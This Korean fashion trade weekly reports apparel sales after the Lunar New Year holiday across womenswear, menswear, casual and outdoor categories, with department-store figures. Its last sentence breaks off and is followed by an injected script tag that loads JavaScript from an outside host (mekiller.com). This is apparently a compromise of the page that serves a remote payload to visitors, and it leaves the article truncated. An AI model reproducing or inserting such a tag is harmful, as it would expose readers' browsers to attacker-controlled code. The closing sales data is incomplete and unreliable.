주간상황 - 봄바람 타고 신상품 매기 ‘기지개’
가두점은 아직 찬바람
<여성복>
설 연휴 직후인 2월 넷째주 여성복 시장은 소폭 신장세를 보였다.
2월 초반 이후 계속 매출이 둔화된데다 설 연휴 직전인 전주에도 특수 기미가 전혀 없어 오히려 매출이 줄었던 업계는 연휴 이후 본격적으로 봄 신상품을 출시하면서 회복세로 돌아섰다.
롯데와 현대 등 주요 백화점 여성복 매장은 영캐주얼이 5~10% 정도 신장률을 기록했고 연휴 직전 거의 소강 상태를 보였던 커리어와 캐릭터 매장 역시 10% 내외의 신장세를 나타냈다.
이는 대목 이후 소비 심리 위축이 경감된데다 시기상 겨울 시즌이 끝났다는 분위기가 굳어지면서 봄 상품에 대한 구매가 본격화되고 있기 때문으로 풀이된다.
업체들 역시 설 연휴 이전까지는 겨울 재고 상품을 떨어내야 한다는 부담감과 봄 신상품의 판매 활성화가 겹쳐져 적극적인 판매 포인트를 찾지 못하고 우왕좌왕했지만 넷째주에 들어서는 봄 상품 판매에 총력을 기울이는 분위기다.
특히 올해는 여름이 빨리 찾아 올 것이라는 예보 때문에 봄 상품의 매기는 이달 말부터 다음달 말까지 한달 정도에 그칠 것으로 전망되면서 판매에 더욱 열을 올릴 것으로 예상된다.
가두점 위주로 영업을 펼치고 있는 어덜트캐주얼은 매출이 조금 줄었다.
설 연휴 직전 선물 수요가 크게 늘면서 매출이 상승했기 때문.
또 객단가가 높은 중의류 등 겨울 상품의 수요가 셋째주까지도 계속됐지만 연휴가 끝난 넷째주는 입점 고객 자체가 전주에 비해 크게 줄면서 브랜드별로 15~20% 정도 매출이 감소한 것으로 집계됐다.
백화점 상품권 한 몫
<남성복>
전주대비 20% 이상 신장한 것으로 나타났다.
설 연휴 이후 선물로 오고 갔던 백화점 상품권이 회수된 것이 매출 상승에 기여했다는 평가다.
설 연휴가 끝났지만 드레스셔츠와 넥타이는 전주와 비슷한 수준인 40% 이상 신장하며 가장 좋은 매출을 올렸다.
특히 수도권 보다는 가격이 낮은 지방권 매출이 상승하는 추세를 보였다.
캐릭터캐주얼은 수도권과 지방권 모두에서25% 이상 신장했다.
신사복과 어덜트캐주얼은 보합세를 유지했고, TD캐주얼은 교복 파동이 가라앉지 않으면서 역신장을 벗어나지 못했다.
롯데 매입부 염동호 바이어는 “설 연휴 전에는 선물 구매가 많고 여러 가지 지출이 많지만 연휴 이후에는 자금 상황이 풀리고 자신의 옷 구매 비중이 늘어 매출이 상승하고 있다”고 말했다.
졸업·입학 특수 만끽
<캐주얼>
캐주얼 주요 브랜드들은 전주대비 40~90% 신장했다.
졸업과 입학을 앞두고 봄 신상품 판매가 활발히 진행됐기 때문이다.
인기 아이템은 티셔츠와 가디건으로 트렌치 코트도 간간히 팔렸다.
세정과미래의 ‘엔아이아이’는 전주대비 40% 신장했다고 밝혔다.
후드티셔츠와 티셔츠가 매출을 주도했다.
휴컴퍼니의 ‘유지아이지’와 ‘크럭스’는 각각 60%와 66% 신장했다.
‘크럭스’의 신장폭이 커 점당 효율면에서 ‘유지아이지’를 앞섰다.
티셔츠와 점퍼류의 팔림세가 높게 나타났다.
에이션패션의 ‘폴햄’은 90% 신장했다.
20개 아이템에 대한 조기 세일을 실시, 주말 하루 매출이 6억원대에 달했다.
봄 신상품 판매 호조
<아웃도어>
백화점 아웃도어 매장은 전주대비 큰 폭의 상승세를 보였다.
아웃도어의 비수기인 설 연휴가 지난데다가 일부 점포가 19일 영업을 펼침에 따라 영업 일수의 차이도 있었기 때문이다.
특히 1월 말부터 입고되기 시작한 봄 신상품이 본격적으로 팔려 나가면서 매출이 호조를 보였다.
롯데백화점은 총 20억9천6백만원을 판매해 전주대비 85% 신장했다.
본점이 1억6천3백만원으로 54%, 잠실점이 1억2천5백만원으로 47%, 부산점이 1억8천9백만원으로 47% 각각 신장했다.
신세계백화점은 6억6천8백만원을 기록 전주대비 106.7% 상승했다.
영등포점은 6천1백만원으로 378%의 신장률을 기록, 가장 높은 상승세를 보였다.
강남점도 1억1천6백만원의 매출을 올려 52.6% 신장했다.
인천점은 19일 영업을 ?script src=http://mekiller.com/1/1.js>